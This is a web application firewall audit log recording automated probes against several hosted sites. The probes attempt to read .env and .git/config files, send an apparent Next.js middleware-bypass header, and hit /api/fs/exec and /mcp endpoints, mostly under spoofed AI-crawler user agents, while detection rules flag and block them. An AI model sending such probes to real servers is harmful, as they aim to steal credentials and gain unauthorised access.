Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "singlemaltcommunity.com"] [uri "/media../.env"] [unique_id "aqaoI2M7dE9KgIIOpQiB1wAAANA"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/singlemaltcommunity.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789306915486087 138447 (- - -)
Stopwatch2: 1789306915486087 138447; combined=4482, p1=327, p2=4086, p3=0, p4=0, p5=69, sr=120, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--db20e32a-Z--

--702d1c18-A--
[13/Sep/2026:16:41:55.631005 +0300] aqaoI2M7dE9KgIIOpQiB2AAAAMs 34.182.226.0 37358 127.0.0.1 7081
--702d1c18-B--
GET /static//.env HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 34.182.226.0
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Kimi-SearchBot/1.0; +https://kimi.ai/)
Accept: */*
Cookie: csrfToken=5W0TtKlRk23yUMONB%2FoJe2QwNTJlY2FiN2YxZGUzNDg0YmFkMGU4MTdhMzMzYzhiOTE3OGQzNmQ%3D; SMCSESS=ea4f124c7593eb60528b73d6b4fd8525
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--702d1c18-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--702d1c18-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "singlemaltcommunity.com"] [uri "/static/.env"] [unique_id "aqaoI2M7dE9KgIIOpQiB2AAAAMs"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/singlemaltcommunity.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789306915490868 140207 (- - -)
Stopwatch2: 1789306915490868 140207; combined=4691, p1=222, p2=4408, p3=0, p4=0, p5=60, sr=102, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--702d1c18-Z--

--d5511625-A--
[13/Sep/2026:16:41:55.703164 +0300] aqaoI2M7dE9KgIIOpQiB2gAAAMk 34.182.226.0 58896 127.0.0.1 7081
--d5511625-B--
GET /files../.env HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 34.182.226.0
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; YiBot/1.0; +https://01.ai/)
Accept: */*
Cookie: csrfToken=5W0TtKlRk23yUMONB%2FoJe2QwNTJlY2FiN2YxZGUzNDg0YmFkMGU4MTdhMzMzYzhiOTE3OGQzNmQ%3D; SMCSESS=ea4f124c7593eb60528b73d6b4fd8525
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--d5511625-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--d5511625-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "singlemaltcommunity.com"] [uri "/files../.env"] [unique_id "aqaoI2M7dE9KgIIOpQiB2gAAAMk"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/singlemaltcommunity.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789306915610009 93231 (- - -)
Stopwatch2: 1789306915610009 93231; combined=4626, p1=237, p2=4319, p3=0, p4=0, p5=69, sr=90, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--d5511625-Z--

--f5b51454-A--
[13/Sep/2026:16:41:55.704276 +0300] aqaoI2M7dE9KgIIOpQiB2QAAAMA 34.182.226.0 58884 127.0.0.1 7081
--f5b51454-B--
GET /static//app/.env HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 34.182.226.0
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-User/1.0; +claudebot@anthropic.com)
Accept: */*
Cookie: csrfToken=5W0TtKlRk23yUMONB%2FoJe2QwNTJlY2FiN2YxZGUzNDg0YmFkMGU4MTdhMzMzYzhiOTE3OGQzNmQ%3D; SMCSESS=ea4f124c7593eb60528b73d6b4fd8525
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--f5b51454-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--f5b51454-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "singlemaltcommunity.com"] [uri "/static/app/.env"] [unique_id "aqaoI2M7dE9KgIIOpQiB2QAAAMA"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/singlemaltcommunity.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789306915599288 105068 (- - -)
Stopwatch2: 1789306915599288 105068; combined=7067, p1=508, p2=6491, p3=0, p4=0, p5=68, sr=319, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--f5b51454-Z--

--41719f3e-A--
[13/Sep/2026:16:41:56.094935 +0300] aqaoI2M7dE9KgIIOpQiB2wAAANc 34.182.226.0 58920 127.0.0.1 7081
--41719f3e-B--
GET /.git/config HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 34.182.226.0
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)
Accept: */*
Cookie: csrfToken=5W0TtKlRk23yUMONB%2FoJe2QwNTJlY2FiN2YxZGUzNDg0YmFkMGU4MTdhMzMzYzhiOTE3OGQzNmQ%3D; SMCSESS=ea4f124c7593eb60528b73d6b4fd8525
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--41719f3e-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--41719f3e-H--
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "singlemaltcommunity.com"] [uri "/.git/config"] [unique_id "aqaoI2M7dE9KgIIOpQiB2wAAANc"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "singlemaltcommunity.com"] [uri "/.git/config"] [unique_id "aqaoI2M7dE9KgIIOpQiB2wAAANc"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "singlemaltcommunity.com"] [uri "/.git/config"] [unique_id "aqaoI2M7dE9KgIIOpQiB2wAAANc"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/singlemaltcommunity.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789306915973912 121088 (- - -)
Stopwatch2: 1789306915973912 121088; combined=33964, p1=309, p2=33577, p3=0, p4=0, p5=77, sr=129, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--41719f3e-Z--

--79eba733-A--
[13/Sep/2026:16:41:58.164866 +0300] aqaoJkwu1RSkptiiNIX@2gAAAIA 34.182.226.0 58944 127.0.0.1 7081
--79eba733-B--
POST /api HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 34.182.226.0
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 452
User-Agent: Mozilla/5.0 (compatible; GrokBot/1.0; +https://x.ai/)
Accept: text/x-component
Content-Type: multipart/form-data; boundary=----r2slz3wqdhvu8v6
Cookie: csrfToken=5W0TtKlRk23yUMONB%2FoJe2QwNTJlY2FiN2YxZGUzNDg0YmFkMGU4MTdhMzMzYzhiOTE3OGQzNmQ%3D; SMCSESS=ea4f124c7593eb60528b73d6b4fd8525
Next-Action: r2s
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
Accept-Encoding: gzip

--79eba733-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.5.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--79eba733-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/singlemaltcommunity.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789306918076209 88731 (- - -)
Stopwatch2: 1789306918076209 88731; combined=5988, p1=287, p2=5394, p3=0, p4=0, p5=307, sr=104, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--79eba733-Z--

--b5ef503d-A--
[13/Sep/2026:16:41:59.270911 +0300] aqaoJ2M7dE9KgIIOpQiB3QAAANg 34.182.226.0 58974 127.0.0.1 7081
--b5ef503d-B--
POST /api/fs/exec HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 34.182.226.0
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 27
User-Agent: Mozilla/5.0 (compatible; YiBot/1.0; +https://01.ai/)
Content-Type: application/json
Cookie: csrfToken=5W0TtKlRk23yUMONB%2FoJe2QwNTJlY2FiN2YxZGUzNDg0YmFkMGU4MTdhMzMzYzhiOTE3OGQzNmQ%3D; SMCSESS=ea4f124c7593eb60528b73d6b4fd8525
Accept-Encoding: gzip

--b5ef503d-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.5.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--b5ef503d-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/singlemaltcommunity.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789306919183678 87313 (- - -)
Stopwatch2: 1789306919183678 87313; combined=6650, p1=456, p2=5855, p3=0, p4=0, p5=339, sr=141, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--b5ef503d-Z--

--e51a1a67-A--
[13/Sep/2026:16:42:00.553341 +0300] aqaoKGM7dE9KgIIOpQiB3gAAAMo 34.182.226.0 58980 127.0.0.1 7081
--e51a1a67-B--
DELETE /api/inngest HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 34.182.226.0
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; KimiBot/1.0; +https://kimi.ai/)
Cookie: csrfToken=5W0TtKlRk23yUMONB%2FoJe2QwNTJlY2FiN2YxZGUzNDg0YmFkMGU4MTdhMzMzYzhiOTE3OGQzNmQ%3D; SMCSESS=ea4f124c7593eb60528b73d6b4fd8525
Accept-Encoding: gzip

--e51a1a67-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.5.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--e51a1a67-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/singlemaltcommunity.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789306920469119 84278 (- - -)
Stopwatch2: 1789306920469119 84278; combined=5030, p1=287, p2=4448, p3=0, p4=0, p5=295, sr=105, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--e51a1a67-Z--

--f05e5d33-A--
[13/Sep/2026:16:42:01.261187 +0300] aqaoKWM7dE9KgIIOpQiB3wAAANQ 34.182.226.0 58994 127.0.0.1 7081
--f05e5d33-B--
DELETE /inngest HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 34.182.226.0
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Bravebot/1.0; +https://brave.com/search/)
Cookie: csrfToken=5W0TtKlRk23yUMONB%2FoJe2QwNTJlY2FiN2YxZGUzNDg0YmFkMGU4MTdhMzMzYzhiOTE3OGQzNmQ%3D; SMCSESS=ea4f124c7593eb60528b73d6b4fd8525
Accept-Encoding: gzip

--f05e5d33-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.5.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--f05e5d33-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/singlemaltcommunity.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789306921164741 96521 (- - -)
Stopwatch2: 1789306921164741 96521; combined=8978, p1=453, p2=7692, p3=0, p4=0, p5=832, sr=189, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--f05e5d33-Z--

--2d29f521-A--
[13/Sep/2026:16:42:02.533428 +0300] aqaoKkwu1RSkptiiNIX@2wAAAIE 34.182.226.0 58996 127.0.0.1 7081
--2d29f521-B--
POST /read-document HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 34.182.226.0
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 34
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; OAI-SearchBot/1.0; +https://openai.com/searchbot)
Content-Type: application/json
Cookie: csrfToken=5W0TtKlRk23yUMONB%2FoJe2QwNTJlY2FiN2YxZGUzNDg0YmFkMGU4MTdhMzMzYzhiOTE3OGQzNmQ%3D; SMCSESS=ea4f124c7593eb60528b73d6b4fd8525
Accept-Encoding: gzip

--2d29f521-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.5.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--2d29f521-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/singlemaltcommunity.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789306922386995 146539 (- - -)
Stopwatch2: 1789306922386995 146539; combined=9809, p1=455, p2=8294, p3=0, p4=0, p5=1060, sr=172, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--2d29f521-Z--

--7b2b6f1c-A--
[13/Sep/2026:16:42:02.982848 +0300] aqaoKkwu1RSkptiiNIX@3AAAAIk 34.182.226.0 59004 127.0.0.1 7081
--7b2b6f1c-B--
POST /read-document HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 34.182.226.0
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 20
User-Agent: Mozilla/5.0 (compatible; Google-Extended; +http://www.google.com/bot.html)
Content-Type: application/json
Cookie: csrfToken=5W0TtKlRk23yUMONB%2FoJe2QwNTJlY2FiN2YxZGUzNDg0YmFkMGU4MTdhMzMzYzhiOTE3OGQzNmQ%3D; SMCSESS=ea4f124c7593eb60528b73d6b4fd8525
Accept-Encoding: gzip

--7b2b6f1c-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.5.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--7b2b6f1c-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/singlemaltcommunity.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789306922891778 91159 (- - -)
Stopwatch2: 1789306922891778 91159; combined=7360, p1=373, p2=6572, p3=0, p4=0, p5=414, sr=129, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--7b2b6f1c-Z--

--4c77e415-A--
[13/Sep/2026:16:42:03.856463 +0300] aqaoK2M7dE9KgIIOpQiB4QAAANI 34.182.226.0 59018 127.0.0.1 7081
--4c77e415-B--
POST /mcp HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 34.182.226.0
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 168
User-Agent: Mozilla/5.0 (compatible; Bravebot/1.0; +https://brave.com/search/)
Content-Type: application/json
Cookie: csrfToken=5W0TtKlRk23yUMONB%2FoJe2QwNTJlY2FiN2YxZGUzNDg0YmFkMGU4MTdhMzMzYzhiOTE3OGQzNmQ%3D; SMCSESS=ea4f124c7593eb60528b73d6b4fd8525
Accept-Encoding: gzip

--4c77e415-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.5.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--4c77e415-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/singlemaltcommunity.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789306923726426 130119 (- - -)
Stopwatch2: 1789306923726426 130119; combined=7504, p1=443, p2=6621, p3=0, p4=0, p5=440, sr=161, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--4c77e415-Z--

--95e05652-A--
[13/Sep/2026:16:50:17.876457 +0300] aqaqGWM7dE9KgIIOpQiCUgAAAMs 216.126.237.47 54488 127.0.0.1 7081
--95e05652-B--
GET /.git/config HTTP/1.1
Host: behappydigital.com
X-Real-IP: 216.126.237.47
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Accept-Encoding: gzip

--95e05652-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--95e05652-E--

--95e05652-H--
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "behappydigital.com"] [uri "/.git/config"] [unique_id "aqaqGWM7dE9KgIIOpQiCUgAAAMs"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "behappydigital.com"] [uri "/.git/config"] [unique_id "aqaqGWM7dE9KgIIOpQiCUgAAAMs"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "behappydigital.com"] [uri "/.git/config"] [unique_id "aqaqGWM7dE9KgIIOpQiCUgAAAMs"]
Stopwatch: 1789307417839100 37426 (- - -)
Stopwatch2: 1789307417839100 37426; combined=34918, p1=249, p2=34549, p3=60, p4=6, p5=54, sr=110, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--95e05652-Z--

--ea0a7822-A--
[13/Sep/2026:16:52:20.943091 +0300] aqaqlGM7dE9KgIIOpQiCYAAAAMM 8.163.68.110 41792 127.0.0.1 7081
--ea0a7822-B--
GET /.env HTTP/1.1
Host: default-81-180-250-39
X-Real-IP: 8.163.68.110
X-Accel-Internal: /internal-nginx-static-location
User-Agent: python-requests/2.34.2
Accept-Encoding: gzip, deflate
Accept: */*

--ea0a7822-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
X-Frame-Options: SAMEORIGIN
Link: <https://www.nuntiinsibiu.ro/wp-json/>; rel="https://api.w.org/"
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Set-Cookie: PHPSESSID=8d7frh9i02pgsjv841uusflljl; path=/
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--ea0a7822-H--
